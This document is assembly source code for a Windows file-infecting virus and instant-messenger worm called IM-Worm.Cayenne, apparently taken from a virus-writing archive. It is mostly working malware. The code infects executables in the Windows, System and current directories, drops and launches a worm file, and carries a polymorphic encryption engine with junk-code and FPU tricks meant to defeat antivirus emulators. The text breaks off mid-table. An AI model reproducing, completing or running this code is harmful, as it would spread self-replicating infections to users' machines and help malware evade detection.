| ||||||||||||||||
IM-Worm.Cayenne
by Necronomikon
See also the project folder ; IM-Worm.Cayenne ;(c)by Necronomikon[DCA] .586p .model flat jumps .radix 16 extrn ExitProcess:PROC .data VirusSize equ (offset EndVirus - offset Virus ) NumberOfApis equ 16d include ipe32.inc ;(c)by slurp VirusCode: Virus: call Delta ; Get Delta Offset Delta: mov ebx, dword ptr [esp] add esp, 4d sub ebx, offset Delta neg edx mov ebp, 65447d sub ebp, 65447d add ebp, ebx jmp KernelSearchStart Align: ; align File or Section Size pushad dec dword ptr [ebp+Trash1] ; Trash mov eax, dword ptr [ebp+AlignReg1] ; clear edx push 0 pop edx mov ecx, dword ptr [ebp+AlignReg2] div ecx ; add eax, 1 inc eax mul ecx mov dword ptr [ebp+AlignReg1], 0h add dword ptr [ebp+AlignReg1], eax popad ret Startgame: lea edi, [ebp+OldDirectory] push edi push 255d call dword ptr [ebp+XGetCurrentDirectoryA] push 255d lea ebx, [ebp+DirectoryBuffer] push ebx call dword ptr [ebp+XGetWindowsDirectoryA] lea edi, [ebp+DirectoryBuffer] push edi call dword ptr [ebp+XSetCurrentDirectoryA] call InfectCurDir ; Infect System Directory push 255d lea ecx, [ebp+DirectoryBuffer] xchg ecx, ebx push ebx call dword ptr [ebp+XGetSystemDirectoryA] lea edi, [ebp+DirectoryBuffer] xchg esi, edi push esi add dword ptr [ebp+Trash1], 1116027 ; Trash call dword ptr [ebp+XSetCurrentDirectoryA] call InfectCurDir call IMWorm ; restore old directory lea edx, [ebp+OldDirectory] push edx call dword ptr [ebp+XSetCurrentDirectoryA] call InfectCurDir jmp ExecuteHost GetApis: ; Retrive the APIs we need ; store old EIP and ImageBase push dword ptr [ebp+OldEIP] pop ebx shr eax, 17d mov dword ptr [ebp+retEIP], 0 add dword ptr [ebp+retEIP], ebx ; clear edi sub edi, edi add edi, dword ptr [ebp+OldBase] mov dword ptr [ebp+retBase], 0 add dword ptr [ebp+retBase], edi ; number of API's we're looking for push NumberOfApis pop ebx ; load API Names and Offsets lea edi, [ebp+APIOffsets] mov ecx, offset APINames add ecx, ebp GetApisLoop: call SearchAPI1 add ecx, 4d push dword ptr [ebp+TempAPI] pop edx mov dword ptr [edi], -1 and dword ptr [edi], edx dec edi add edi, 5d sub ebx, 1 jnz GetApisLoop lea eax, [ebp+XShellExecuteA] xchg esi, eax mov ebx, 0 add ebx, 1d lea eax, [ebp+Shell32] xchg edx, eax lea eax, [ebp+ShellExApi] xchg eax, ecx call GetOtherApis jmp Startgame IMWorm: call CreateWorm push 0 push 080h push 1h push 0 push 0 push 0C0000000h lea esi, [ebp+WormName] xchg ebx, esi push ebx call dword ptr [ebp+XCreateFileA] cmp eax, -1 je IMWormFailed push eax push 0 lea edi, [ebp+Write] push edi push WormLen neg ecx lea ebx, [ebp+WormDropper] xchg edi, ebx push edi push eax call dword ptr [ebp+XWriteFile] call dword ptr [ebp+XCloseHandle] cmp dword ptr [ebp+XShellExecuteA], 0 je IMWormFailed push 0 push 0 push 0 lea ebx, [ebp+WormName] xchg ebx, esi push esi push 0 push 0 call dword ptr [ebp+XShellExecuteA] IMWormFailed: ret ; File Handling OpenFile: ; Open File xor edx, edx push edx push edx push 3h push edx inc edx push edx push 80000000h or 40000000h mov edi, ebp add edi, offset WFD_szFileName push edi call dword ptr [ebp+XCreateFileA] add eax, 1 jz Closed sub eax, 1 push eax pop dword ptr [ebp+FileHandle] CreateMap: ; Map the file mov ebx, 0 add ebx, -1d and ebx, dword ptr [ebp+WFD_nFileSizeLow] push ebx push 0 push ebx push 0 push 00000004h push 0 push dword ptr [ebp+FileHandle] call dword ptr [ebp+XCreateFileMappingA] mov dword ptr [ebp+MapHandle], 0 add dword ptr [ebp+MapHandle], eax pop ebx or eax, eax jz CloseFile and edx, 0 push ebx push edx push edx push 2d pop ecx push ecx push dword ptr [ebp+MapHandle] call dword ptr [ebp+XMapViewOfFile] or eax, eax jz UnMapFile mov dword ptr [ebp+MapAddress], -1 and dword ptr [ebp+MapAddress], eax clc ret UnMapFile: ; Unmap the file and store it to disk Call UnMapFile2 CloseFile: ; Close the file push dword ptr [ebp+FileHandle] Call [ebp+XCloseHandle] Call ind00r Closed: stc ret UnMapFile2: push dword ptr [ebp+MapAddress] call dword ptr [ebp+XUnmapViewOfFile] push dword ptr [ebp+MapHandle] call dword ptr [ebp+XCloseHandle] add ecx, eax ret FindNextFileProc: ; find another file call ClearOldData lea ebx, [ebp+WIN32_FIND_DATA] xchg edx, ebx push edx or ebx, edx mov ebx, -63706d add ebx, 63706d add ebx, dword ptr [ebp+FindHandle] push ebx call dword ptr [ebp+XFindNextFileA] ret ; Find the first file FindFirstFileProc: call ClearOldData lea ebx, [ebp+WIN32_FIND_DATA] xchg ebx, edx push edx push ecx add ebx, 46160723d call dword ptr [ebp+XFindFirstFileA] mov dword ptr [ebp+FindHandle], 0 xor dword ptr [ebp+FindHandle], eax ret ClearOldData: pushad mov eax, ebp add eax, offset WFD_szFileName push 276d pop ecx ClearOldData2: mov byte ptr [eax], 0h inc eax dec ecx jnz ClearOldData2 popad ret ind00r proc pushad ; preserve all registers call iInit ; initialize poly engine ind00r_delta: mov al, JMP_LONG ; write jump to main loop stosb ; store opcode push edi ; to reloc jmp l8er stosd ; store relative offset call WriteJunk ; write some junk bytez call iGenProcs ; generate procedures push edi ; here we want to jump call RelLongJmp ; reloc jump to main loop or byte ptr [ebp.nojunk-idelta], 0FFh call iGenLoop ; generate main loop call iSEHJump sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size mov [esp.PUSHAD_ECX], edi ; ECX = size call iEncrypt ; encrypt code! popad ; restore all registers ret ; return ind00r endp ; main procedure: init iInit proc ; first of all, calculate new delta offset mov ebp, [esp] add ebp, idelta - offset ind00r_delta ; calculate delta ; offset ; now init random seed push dword ptr [ebp.RandomConst-idelta] pop dword ptr [ebp.RandomSeed-idelta] push edi ; push destination index lea edi, [ebp.InitValues-idelta] ; table with init values ; let's store parameterz stosd ; store size of junk space xchg eax, edx stosd ; store address of junk space xchg eax, ebx stosd ; store decrypt rva xchg eax, ecx stosd ; size of code xchg eax, esi stosd ; address of code ; mix the registers lea esi, [ebp.preg-idelta] push USED_REGS call MixBytes ; get number of junk procedures (1 - 5) push JUNK_PROCS ; 0 - 3 call rnd32r add al, MIN_PROCS mov [ebp.ProcCount-idelta], al ; number of procedures ; put the procedures in random order lea esi, [ebp.ProcedureOrder-idelta] push eax call MixBytes ; put procedure calls in random order lea esi, [ebp.CallOrder1-idelta] push CALL_ORDER_1 call MixBytes lea esi, [ebp.CallOrder2-idelta] mov ecx, eax sub al, CALL_ORDER_2 + 1 push eax call MixBytes ; get random parameter count for each procedure lea edi, [ebp.ProcParameters-idelta] mov cl, MAX_PROCS i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2 call rnd32r sub al, 02h jnc i_lamest xor eax, eax i_lamest: stosb loop i_par_loop xor eax, eax stosb ; get random key, encryption & key increment type lea edi, [ebp.CryptKey-idelta] call rnd32 stosd ; write key call rnd32 stosd ; write key increment push ENC_RND call rnd32r stosb ; write encryption type push KEY_RND call rnd32r stosb ; write key increment type pop edi ; pop destination index and word ptr [ebp.InLoop-idelta], 00h ret iInit endp ; main procedure: encrypt iEncrypt proc pushad lea esi, [ebp.CryptSize-idelta] lodsd ; CryptSize xchg eax, ebx lodsd ; EncryptRVA xchg eax, edi lodsd ; CryptKey xchg eax, ecx lodsd ; KeyIncrement xchg eax, edx encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type cmp al, ENC_XOR ; XOR encryption? jnz ie_not_xor ; no, check next xor [edi], ecx ; yes, XOR [preg], key ie_not_xor: cmp al, ENC_ADD ; ADD decryption? jnz ie_not_add ; no, check next sub [edi], ecx ; yes, SUB [preg], key ie_not_add: cmp al, ENC_SUB ; SUB decryption? jnz ie_not_sub ; no, check next add [edi], ecx ; yes, ADD [preg, key ie_not_sub: cmp al, ENC_ROL ; ROL decryption? jnz ie_not_rol ; no, check next ror dword ptr [edi], cl ; rotate dword ie_not_rol: cmp al, ENC_ROR ; ROR decryption? jnz ie_not_ror ; no, jmp to key increment rol dword ptr [edi], cl ; rotate dword ie_not_ror: xchg ecx, edx mov al, [ebp.KeyIncType-idelta] ; get key increment type cmp al, KEY_ROL ; ROL key increment? jnz ie_n_rol ; no, check next rol edx, cl ; rotate key ie_n_rol: cmp al, KEY_ROR ; ROR key increment? jnz ie_n_ror ; no, check next ror edx, cl ; rotate key ie_n_ror: cmp al, KEY_INC ; ADD key increment? jnz ie_n_inc ; no, check next add edx, ecx ; increment key ie_n_inc: cmp al, KEY_DEC ; SUB key increment? jnz ie_n_dec ; no sub edx, ecx ; decrement key ie_n_dec: xchg ecx, edx scasd ; increment pointer by 4 dec ebx jnz encrypt_loop popad ret iEncrypt endp ; main generator: generate procedure body and some junk around the real ; instructions. iGenProcs proc ; get number of procedures into counter movzx ecx, byte ptr [ebp.ProcCount-idelta] xor ebx, ebx ; set up another counter that counts from 0 ; for choosin' procedures call rnd32 xchg dh, al gp_loop: push ecx ; getting number of current procedure push ebx movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx] ; ID # of 1st procedure mov [ebp.CurrentProc-idelta], bl ; for junk gen to ; identify current proc ; store procedure address mov [ebp.ProcAddress-idelta+4*ebx], edi ; get number of parameters mov dl, [ebp.ProcParameters-idelta+ebx] test dl, dl ; if no parameter, jz gp_np_entry ; generate no entry ; if procedure has parameters we need to set up EBP ; choose between two (similar) entrys: ; ENTER 0000h,00h ; or ; PUSH EBP ; MOV EBP, ESP test dh, 01h jz gp_psh_entry xor eax, eax ; no local variables mov al, PROC_ENTER ; opcode for enter stosd ; store instruction jmp gp_np_entry gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP) stosd dec edi ; wrote 3 bytes gp_np_entry: push ebx call iProcJunk pop ebx cmp ebx, JUNK_PROC jnb gp_junk_proc mov esi, [ebp.Generatorz-idelta+ebx*4] add esi, ebp push edx call esi ; call di generator pop edx gp_junk_proc: call iProcJunk ; make some junk mov eax, edx xor ah, ah shl eax, 08h xor 02h ; shift left one byte + * 4 xor al, PROC_RETP ; generate ret (with params) test ah, ah ; do we have parameters? jz gp_no_par mov byte ptr [edi], POP_REG or REG_EBP test dh, 01h jz gp_psh_exit xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP) gp_psh_exit: inc edi ; write pop ebp/leave stosd ; store RET opcode (C2h) dec edi ; only store 3 bytes jmp gp_par gp_no_par: inc eax stosb ; store RET opcode (C3h) gp_par: call WriteJunk pop ebx inc ebx ; increment count pop ecx loop gp_loop ret iGenProcs endp ; generates main loop with some junk between callz. iGenLoop proc or byte ptr [ebp.InLoop-idelta], 01h lea esi, [ebp.CallOrder1-idelta] movsx ecx, byte ptr [ebp.ProcCount-idelta] or byte ptr [ebp.CurrentProc-idelta], 0FFh gl_call_lp: xor eax, eax lodsb ; get numbah of proc xchg eax, ebx inc byte ptr [ebp.CurrentProc-idelta] cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA jne gl_yxcmv push edi gl_yxcmv: push ecx movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx] push ebx test ecx, ecx ; 0 parameterz? jz gl_no_par ; don't loop gl_push_lp: call iPushJunk loop gl_push_lp gl_no_par: pop ebx mov edx, [ebp.ProcAddress-idelta+4*ebx] mov byte ptr [edi], CALL_DIRECT ; write call opcode inc edi neg edi lea eax, [edx+edi-04h] neg edi stosd pop ecx ; outer loop counter loop gl_call_lp mov bl, [ebp.creg-idelta] ; generate check if counter call gCheckReg ; reg is zero mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h) stosw ; generate JNZ pop eax neg edi lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h) neg edi stosd ; store jump offset ret iGenLoop endp ; generate jump to code iSEHJump proc mov edx, [ebp.DecryptRVA-idelta] ; where to jump after ; decryption ; 1. let's put offset to code on stack call rnd32 test al, 01h jz isj_npd ; generate PUSH offset CODE mov al, PUSH_IMM ; push 32-bit immediate stosb xchg eax, edx stosd ; immediate value jmp isj_npd0 ; load reg with value and push reg isj_npd: call rnd32 and al, REG_EDI cmp al, REG_ESP je isj_npd xchg eax, ebx push ebx call gLoadReg pop eax xor al, PUSH_REG stosb ; 2. let's clear a reg to index fs:[0] isj_npd0: ; get a random register & clear it call rnd32 and al, REG_EDI cmp al, REG_ESP je isj_npd0 mov ebx, eax call gClearReg xchg eax, ecx ; 3. put da old handler on stack mov al, OVERRIDE_FS stosb xor ch, ch xor esi, esi call rnd32 test al, 01h jz isj_dir mov bh, OPTYPE_MOV call rnd32 and al, 02h add bh, al isj_gnr: call rnd32 and al, REG_EDI cmp al, cl je isj_gnr mov bl, al mov al, OPSIZE_32 mov ah, REG_MEM call ciOpRMReg xchg eax, ebx xor al, PUSH_REG stosb jmp isj_dir0 isj_dir: mov al, OP_GROUP5 stosb mov bl, P_PUSH call ciCreateOperand isj_dir0: ; 4. now set new handler to ESP mov al, OVERRIDE_FS stosb mov bx, REG_ESP xor (OPTYPE_MOV * 100h) mov ax, OPSIZE_32 xor (MEM_REG * 100h) call ciOpRMReg ; 5. let's create some junk that causes exception push 03h pop ecx ex_junk_loop: push ecx push OPTYPE_CMP call rnd32r xchg eax, ebx call rnd32 test al, 01h jz isj_suck mov bh, bl call rnd32 and al, REG_EDI mov bl, al push 03h call rnd32r mov ah, MEM_REG call ciOpRMReg jmp isj_suck0 isj_suck: call rnd32 xchg eax, edx push 03h call rnd32r call ciOpRMImm isj_suck0: pop ecx loop ex_junk_loop ret iSEHJump endp ; load start RVA into pointer register iProcLdPtr proc mov edx, [ebp.DecryptRVA-idelta] mov bl, [ebp.preg-idelta] jmp gLoadReg iProcLdPtr endp ; load size into counter register iProcLdCnt proc mov edx, [ebp.CryptSize-idelta] mov bl, [ebp.creg-idelta] jmp gLoadReg iProcLdCnt endp ; load key into key register iProcLdKey proc mov edx, [ebp.CryptKey-idelta] mov bl, [ebp.kreg-idelta] jmp gLoadReg iProcLdKey endp ; decrypt data word iProcDecData proc mov cl, [ebp.preg-idelta] ; operand = ptr reg call rnd32 ; get random bit mov bl, 08h cmp byte ptr [ebp.CryptType-idelta], ENC_SUB jbe dd_not_chk_ecx cmp cl, REG_ECX jne dd_not_chk_ecx or al, 01h ; set 1st bit dd_not_chk_ecx: test al, 01h ; is it zero? jz blaaah ; yes, use direct encryption ; create MOV/XCHG junkreg, [preg] (indirect encryption) dd_get_jnk_reg: call iGetJunkReg cmp al, REG_ECX ; is it ECX? je dd_get_jnk_reg ; yes, use other junk reg mov bl, al xor al, MOD_REG push eax ; push code reg for later use mov bh, OPTYPE_MOV ; generate MOV call rnd32 ; random numbah and al, 02h add bh, al ; zero, use MOV ; non-zero, use XCHG xor esi, esi ; no displacement mov al, OPSIZE_32 ; dword, of course mov ah, REG_MEM ; from memory to register call ciOpRMReg pop ecx call iBlockJunkAR blaaah: ; test for encryption type mov al, [ebp.CryptType-idelta] cmp al, ENC_XOR jnz dd_not_xor mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg dd_not_xor: cmp al, ENC_ADD jnz dd_not_add mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg dd_not_add: cmp al, ENC_SUB jnz dd_not_sub mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg push ecx mov al, OPSIZE_32 mov ah, MEM_REG mov bl, [ebp.kreg-idelta] xor ch, ch xor esi, esi call ciOpRMReg jmp dd_exit dd_rotate: push ecx ; code reg/pointer reg push eax push ecx mov al, [ebp.kreg-idelta] ; load key register cmp al, REG_ECX ; ECX? jz dd_no_push ; yes, no need to push ecx or al, MOD_REG xchg eax, ecx push REG_ECX call iIsJReg cmp eax, 0FFFFFFFFh jnz dd_ecx_isj mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX stosb ; store opcode pop ebx call iBlockJunkAR push ebx dd_ecx_isj: xchg eax, edx mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG call rnd32 mov al, OPSIZE_32 and ah, REG_MEM jnz dd_nxchg xchg bl, cl dd_nxchg: call ciOpRMReg ; generate mov ecx, kreg dd_askdjh: call iGetJunkReg pop ebx push ebx and ebx, REG_EDI cmp eax, ebx je dd_askdjh cmp al, REG_ECX je dd_askdjh xchg eax, ebx call iRndJunk dd_no_push: pop ecx pop eax mov bl, ROR_SHIFT ; shift type ROR cmp al, ENC_ROR ; is it ROR? jz dd_enc_ror ; yes, skip dec ebx ; decrement shift type (ROL) dd_enc_ror: mov al, OPSIZE_32 mov bh, SHIFT_CL xor ch, ch ; no SIB addressin' xor esi, esi call ciShiftRM xchg eax, edx cmp al, PUSH_REG xor REG_ECX jnz dd_no_pop pop ebx push ebx and ebx, REG_EDI call iBlockJunkAR xor al, PUSH_REG xor POP_REG stosb dd_no_pop: dd_exit: pop ebx ; pop code/ptr reg mov eax, ebx and al, MOD_REG xor al, MOD_REG jnz dd_not_save_reg and ebx, REG_EDI call iBlockJunkAR mov cl, [ebp.preg-idelta] mov bh, OPTYPE_MOV call rnd32 and al, 02h add bh, al mov ax, OPSIZE_32 or (MEM_REG * 100h) xor ch, ch xor esi, esi call ciOpRMReg dd_not_save_reg: ret iProcDecData endp ; increment key iProcIncKey proc mov edx, [ebp.KeyIncrement-idelta] ; load key increment call iGetJunkReg ; get random junk reg xchg eax, ecx mov ebx, ecx mov al, [ebp.KeyIncType-idelta] ; get key increment type mov bh, OPTYPE_ADD ; first assume ADD cmp al, KEY_DEC ; check if decrement key jnz pik_not_sub ; nope, ADD mov bh, OPTYPE_SUB ; yes, SUB pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate! call rnd32 test al, 01h jz pik_direct ; don't load reg push ebx call gLoadReg ; move key increment into reg pop ebx call iBlockJunkAR xor bl, MOD_REG mov cl, [ebp.kreg-idelta] ; get key reg xor ecx, 0FFFFFF00h xor MOD_REG push 02h call rnd32r test eax, eax jz pik_blah xchg bl, cl pik_blah: mov ah, al mov al, OPSIZE_32 jmp ciOpRMReg ; create instruction pik_direct: mov al, OPSIZE_32 mov bl, bh mov cl, [ebp.kreg-idelta] or ecx, 0FFFFFF00h xor MOD_REG jmp ciOpRMImm pik_rotate: xor bl, bl ; ROL shift cmp al, KEY_ROR jnz pik_not_ror inc ebx ; ROR shift pik_not_ror: mov ah, dl and ah, 1Fh mov bh, SHIFT_IMM mov al, OPSIZE_32 mov cl, [ebp.kreg-idelta] xor cl, MOD_REG call ciShiftRM ret iProcIncKey endp ; increment pointer by 4 iProcIncPtr proc push 04h ; we have 4 methods call rnd32r ; to do so mov cl, [ebp.preg-idelta] xor cl, MOD_REG ; pointer reg, of course push 04h pop edx ; mov edx, 4 (optimized :P) test al, al jnz pip_not_add mov bl, OPTYPE_ADD pip_not_add: cmp al, 01h jnz pip_not_sub neg edx mov bl, OPTYPE_SUB pip_not_sub: cmp al, 02h jnz pip_not_adc mov bl, OPTYPE_ADC dec edx mov byte ptr [edi], SET_CRY inc edi pip_not_adc: cmp al, 03h jnz pip_not_lea ; generate lea preg, [preg + 04h] mov byte ptr [edi], LOAD_EA inc edi and cl, REG_RND - 1 mov bl, cl push esi xchg edx, esi xor ch, ch call ciCreateOperand pop esi ret pip_not_lea: mov al, OPSIZE_32 jmp ciOpRMImm ret iProcIncPtr endp ; decrement counter iProcDecCnt proc push 05h call rnd32r mov cl, [ebp.creg-idelta] or cl, MOD_REG xor edx, edx test al, al jnz pdc_not_dec ; generate DEC creg mov al, DEC_REG or al, [ebp.creg-idelta] stosb ret pdc_not_dec: cmp al, 01h jnz pdc_not_add_FF ; generate ADD creg, -1 mov bl, OPTYPE_ADD dec edx pdc_not_add_FF: cmp al, 02h jnz pdc_not_sbb ; generate STC, SBB creg, 0 mov byte ptr [edi], SET_CRY inc edi mov bl, OPTYPE_SBB pdc_not_sbb: cmp al, 03h jnz pdc_not_lea ; generate LEA creg, [creg - 1] mov byte ptr [edi], LOAD_EA inc edi and cl, REG_RND - 1 mov bl, cl push esi xor esi, esi dec esi xor ch, ch call ciCreateOperand pop esi ret pdc_not_lea: cmp al, 04h jnz pdc_not_sub ; generate SUB creg, 1 mov bl, OPTYPE_SUB inc edx pdc_not_sub: mov al, OPSIZE_32 jmp ciOpRMImm iProcDecCnt endp ; fool some emulatorz iProcFPUFool proc ; initialize FPU mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h stosd dec edi ; choose random address to store result call iGetWrMem push GF_METHCNT ; choose between 4 methods call rnd32r push eax inc eax mov edx, eax ; store initial value in memory mov al, OPSIZE_32 mov bl, OPTYPE_MOV call ciOpRMImm call iRndRegJ ; load dword from address into fpu register call rnd32 and al, FPU_WORD_LDST or al, FPU_INT_LDST mov bl, FPU_LOAD stosb call ciCreateOperand ; calculate address of method and execute it! pop eax push eax mov ebx, [ebp.gf_methods-idelta+4*eax] add ebx, ebp call ebx ; write back dword from st(0) call iGetWrMem call rnd32 and al, FPU_WORD_LDST xor FPU_INT_LDST xor al, FPU_INT_LDST mov bl, FPU_STORE stosb call ciCreateOperand call iRndRegJ ; check returned value of FPU instructions. pop eax push edi ; label1 in ECX (see below) movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax] push 03h call rnd32r add al, OPTYPE_SUB ; SUB, CMP or XOR xchg eax, ebx xor al, al push edi call ciOpRMImm ; if not equal, generate endless loop (fuck some emulatorz) ; generate JZ or JNZ pop ebx pop ecx mov al, ah ; get another random byte test al, 40h jnz gf_as1 ; not zero, jump after junk xchg ecx, ebx gf_as1: call rnd32 ; random dword and al, 01h jz gf_el1 ; zero, generate JZ ; jump back before compare instruction or afta ; ; label1: <access mem junk> ; label2: CMP/SUB/XOR ; JNZ label2/label3 xchg eax, ecx mov byte ptr [edi], JMPC_SHORT xor COND_NZ inc edi sub eax, edi ; calculate relative offset dec eax ; we need to dec rel stosb ; write relative jmp offset ret gf_el1: ; ; JZ label2/label3 ; label1: <junk> ; JMP label1 ; label2: <junk> ; label3: ; xchg eax, ecx mov byte ptr [edi], JMPC_SHORT xor COND_Z inc edi push edi inc edi call iBlockJunk mov byte ptr [edi], JMP_SHORT inc edi sub eax, edi dec eax stosb push edi call iBlockJunk mov ebx, edi pop ecx mov al, ah ; get another random byte test al, 20h jnz gf_as2 xchg ecx, ebx gf_as2: xchg eax, ecx pop eax neg eax lea ebx, [edi+eax-01] neg eax mov [eax], bl gf_xit: ret gf_rslt_table db 03h, 07h, 02h, 00h gf_meth1: call rnd32 and al, 01h jz gf_meth11 mov ax, FPU_LDPI stosw call iBlockJunk mov al, FPU_WORD_OP stosb mov bl, FPU_MULP gf_meth1e: mov cl, REG_ST1 or MOD_REG jmp ciCreateOperand gf_meth11: mov ax, FPU_LDLG2 stosw call iBlockJunk mov al, FPU_WORD_OP stosb mov bl, FPU_DIVP jmp gf_meth1e gf_meth2: mov ax, FPU_LDL2T stosw call iBlockJunk mov al, FPU_DWORD_OP stosb mov bl, FPU_MUL mov cl, REG_ST1 or MOD_REG jmp ciCreateOperand gf_meth3: mov ax, FPU_LDLN2 stosw call iBlockJunk mov ax, FPU_SQRT stosw mov al, FPU_QWORD_OP stosb mov bl, FPU_MUL mov cl, REG_ST1 or MOD_REG call ciCreateOperand mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h)) stosw ret gf_methods equ $ dd offset gf_meth1-idelta dd offset gf_meth2-idelta dd offset gf_meth3-idelta GF_METHCNT equ 3 iProcFPUFool endp ; main procedure: generate 1-3 different junk blockz iProcJunk proc push ecx ; preserve counter push 03h ; get random number between 0 and 4 call rnd32r inc eax ; add 1 (1 - 3) xchg eax, ecx ; load into counter call iBlockJunk ; generate junk blocks loop $ - 05h pop ecx ; restore counter ret iProcJunk endp ; main procedure: generate 1 junk block iBlockJunk proc mov bl, 08h iBlockJunkAR: ; avoid register in ebx test byte ptr [ebp.nojunk-idelta], 0FFh jz bj_sueder ret bj_sueder: pushad push BJ_BLOCKCNT ; choose between multiple methods call rnd32r mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of add edx, ebp ; method procedure & relocate bj_nxtr: call iGetJunkReg ; get a junk reg cmp al, bl ; test if we shouldn't touch it je bj_nxtr ; yes, get another junk reg xchg ebx, eax ; junk reg in EAX call edx ; execute method mov [esp], edi popad ret ; junk block 1: ; 1. <compare/sub register/memory with constant> ; 2. <conditional jump to 4.> ; 3. <2 - 4 junk instructions> ; 4. bj_block1: push ebx ; save register 4 l8er use mov dh, bl mov bl, OPTYPE_SUB call rnd32 ; get random number and al, 02h ; 0/2 add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP call rnd32 and al, 01h mov dl, al ; dl = 0/1 (reg/junk) test dl, dl jz bj_b1_nreg1 call rnd32 and al, REG_EDI ; 00000xxx random reg xor al, MOD_REG ; 11000xxx set reg bits xchg eax, ecx jmp bj_b1_nmem1 bj_b1_nreg1: call iGetMemory ; get readable memory bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not SUB, get read only jnz bj_b1_nro ; register or memory test dl, dl jz bj_b1_nreg2 mov cl, dh ; writeable register xor ecx, 0FFFFFF00h xor MOD_REG jmp bj_b1_nro bj_b1_nreg2: call iGetWrMem bj_b1_nro: mov al, bl xor al, MOD_REG test al, MOD_REG jz bj_b1_regalign call iOpSizeMem jmp bj_b1_blah bj_b1_regalign: call iOpSizeReg bj_b1_blah: push eax call rnd32 xchg eax, edx call rnd32 test al, 01h jz bj_b1_akldf movsx edx, dl bj_b1_akldf: pop eax call ciOpRMImm pop ebx call rnd32 and al, 0Fh ; get random conditional jump type xor al, JMPC_SHORT ; make jump opcode stosb ; store it push edi ; push address of immediate stosb ; store placeholder byte call iRndJunk ; make some junk pop eax not eax lea ebx, [edi+eax] ; relative address not eax mov [eax], bl ; store relative jump address ret ; junk block 2: ; 1. <push junk> ; 2. <2 - 4 junk instructions> ; 3. <pop junk> bj_block2: call iPushJunk call iRndJunk ; make some junk jmp iPopJunk bj_block3: call rnd32 ; generate STC/CLC/STD/CLD and al, 05h xor al, 0F8h stosb jmp iRndJunk bj_blockz equ $ dd offset bj_block1 - idelta dd offset bj_block2 - idelta dd offset bj_block3 - idelta dd offset iRndJunk - idelta dd offset iRndJunk - idelta BJ_BLOCKCNT equ 05h iBlockJunk endp ; writes two to four random junk instruction (reg or mem) iRndJunk proc pushad push 03h call rnd32r inc eax inc eax xchg eax, ecx rndj_loop: push JUNKGEN_CNT call rnd32r mov eax, [ebp.JunkGen-idelta+4*eax] add eax, ebp push ecx push ebx call eax pop ebx pop ecx loop rndj_loop mov [esp], edi popad ret iRndJunk endp ; generates one junk instruction with the register in ebx (the register ; isn't overwritten some times) ; ebx = register iRegJunk proc push RJ_METHCNT call rnd32r mov ecx, [ebp.rj_methods-idelta+4*eax] add ecx, ebp call iOpSizeReg jmp ecx ; method 1: immediate operation on register rj_meth1: push eax mov ecx, ebx xor ecx, 0FFFFFF00h xor MOD_REG push OPTYPE_MOV + 3 call rnd32r cmp al, OPTYPE_MOV + 1 jb rj_m1_nmov mov al, OPTYPE_MOV rj_m1_nmov: xchg eax, ebx call rnd32 xchg eax, edx call rnd32 test al, 0Ch jz rj_m1_nsx movsx edx, dl rj_m1_nsx: pop eax rj_m1_nrc: jmp ciOpRMImm ; method 2: operation with mem on register rj_meth2: push eax call iGetMemory push OPTYPE_MOV + 3 ; we don't want to XCHG call rnd32r ; get random operation type cmp al, OPTYPE_MOV + 1 jb rj_m2_nmov mov al, OPTYPE_MOV rj_m2_nmov: mov bh, al pop eax mov ah, REG_MEM jmp ciOpRMReg ; method 3: operation with reg on register rj_meth3: push eax rj_m3_asd: call rnd32 and al, REG_EDI cmp al, bl je rj_m3_asd xor al, MOD_REG xor bl, MOD_REG xchg eax, ecx call rnd32 and al, 01h jnz rj_m3_nxchg xchg bl, cl rj_m3_nxchg: xchg eax, edx push OPTYPE_MOV + 3 call rnd32r cmp al, OPTYPE_MOV + 1 jb rj_m3_nmov mov al, OPTYPE_MOV rj_m3_nmov: mov bh, al pop eax mov ah, dl jmp ciOpRMReg ; method 4: shift register rj_meth4: xchg eax, ebx or al, MOD_REG xchg eax, ecx push ebx push RND_SHIFT call rnd32r xchg eax, ebx push SHIFT_RND call rnd32r mov bh, al call rnd32 and al, 1Fh xchg eax, edx pop eax cmp al, OPSIZE_16 jne rj_m4_blah1 and dl, 0Fh rj_m4_blah1: cmp al, OPSIZE_8 jne rj_m4_blah2 and dl, 07h rj_m4_blah2: mov ah, dl jmp ciShiftRM ; method 5: movzx/movsx register, reg rj_meth5: test al, al jnz rj_m5_ok inc eax and bl, not 04h rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX test al, 02h jz rj_m5_nprefix mov byte ptr [edi], OPERAND_SIZE inc edi mov dl, MOVX_SX rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE inc edi call rnd32 and al, dl xor al, MOVX stosb call rnd32 and al, REG_EDI shl ebx, 03h xor eax, ebx xor al, MOD_REG stosb ret ; method 6: inc/dec register rj_meth6: push eax call rnd32 and al, 01h xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC] pop eax test al, al jnz rj_m6_n8 mov byte ptr [edi], INCDEC_GROUP inc edi xchg eax, edx shl eax, 03h xor al, MOD_REG xor al, bl stosb ret rj_m6_n8: test al, 02h jz rj_m6_noprefix mov byte ptr [edi], OPERAND_SIZE inc edi rj_m6_noprefix: xchg eax, edx shl eax, 03h xor al, INC_REG xor al, bl stosb ret rj_methods equ $ dd offset rj_meth1 - idelta dd offset rj_meth2 